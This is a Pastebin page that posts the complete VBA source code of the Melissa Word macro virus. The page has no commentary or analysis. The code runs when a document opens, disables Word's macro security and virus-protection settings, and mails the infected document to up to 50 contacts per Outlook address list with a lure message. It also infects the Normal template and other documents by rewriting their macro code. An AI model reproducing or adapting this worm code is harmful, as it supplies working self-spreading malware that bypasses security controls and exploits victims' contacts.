Advertisement
VirusGuy99

Melissa Virus Source Code

Sep 8th, 2016
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.51 KB | None | 0 0
  1. Private Sub Document_Open()
  2. On Error Resume Next
  3. If System.PrivateProfileString("",
  4. "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
  5. Then
  6. CommandBars("Macro").Controls("Security...").Enabled = False
  7. System.PrivateProfileString("",
  8. "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  9. Else
  10. CommandBars("Tools").Controls("Macro").Enabled = False
  11. Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
  12. Options.SaveNormalPrompt = (1 - 1)
  13. End If
  14. Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  15. Set UngaDasOutlook = CreateObject("Outlook.Application")
  16. Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
  17. If System.PrivateProfileString("",
  18. "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
  19. Then
  20. If UngaDasOutlook = "Outlook" Then
  21. DasMapiName.Logon "profile", "password"
  22. For y = 1 To DasMapiName.AddressLists.Count
  23. Set AddyBook = DasMapiName.AddressLists(y)
  24. x = 1
  25. Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  26. For oo = 1 To AddyBook.AddressEntries.Count
  27. Peep = AddyBook.AddressEntries(x)
  28. BreakUmOffASlice.Recipients.Add Peep
  29. x = x + 1
  30. If x > 50 Then oo = AddyBook.AddressEntries.Count
  31. Next oo
  32. BreakUmOffASlice.Subject = "Important Message From " &
  33. Application.UserName
  34. BreakUmOffASlice.Body = "Here is that document you asked for ... don't
  35. show anyone else ;-)"
  36. BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
  37. BreakUmOffASlice.Send
  38. Peep = ""
  39. Next y
  40. DasMapiName.Logoff
  41. End If
  42. System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
  43. "Melissa?") = "... by Kwyjibo"
  44. End If
  45. Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
  46. Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
  47. NTCL = NTI1.CodeModule.CountOfLines
  48. ADCL = ADI1.CodeModule.CountOfLines
  49. BGN = 2
  50. If ADI1.Name <> "Melissa" Then
  51. If ADCL > 0 Then _
  52. ADI1.CodeModule.DeleteLines 1, ADCL
  53. Set ToInfect = ADI1
  54. ADI1.Name = "Melissa"
  55. DoAD = True
  56. End If
  57. If NTI1.Name <> "Melissa" Then
  58. If NTCL > 0 Then _
  59. NTI1.CodeModule.DeleteLines 1, NTCL
  60. Set ToInfect = NTI1
  61. NTI1.Name = "Melissa"
  62. DoNT = True
  63. End If
  64. If DoNT <> True And DoAD <> True Then GoTo CYA
  65. If DoNT = True Then
  66. Do While ADI1.CodeModule.Lines(1, 1) = ""
  67. ADI1.CodeModule.DeleteLines 1
  68. Loop
  69. ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  70. Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
  71. ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
  72. BGN = BGN + 1
  73. Loop
  74. End If
  75. If DoAD = True Then
  76. Do While NTI1.CodeModule.Lines(1, 1) = ""
  77. NTI1.CodeModule.DeleteLines 1
  78. Loop
  79. ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  80. Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
  81. ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
  82. BGN = BGN + 1
  83. Loop
  84. End If
  85. CYA:
  86. If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
  87. False) Then
  88. ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
  89. ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  90. ActiveDocument.Saved = True: End If
  91. 'WORD/Melissa written by Kwyjibo
  92. 'Works in both Word 2000 and Word 97
  93. 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
  94. 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
  95. If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
  96. triple-word-score, plus fifty points for using all my letters. Game's over.
  97. I'm outta here."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement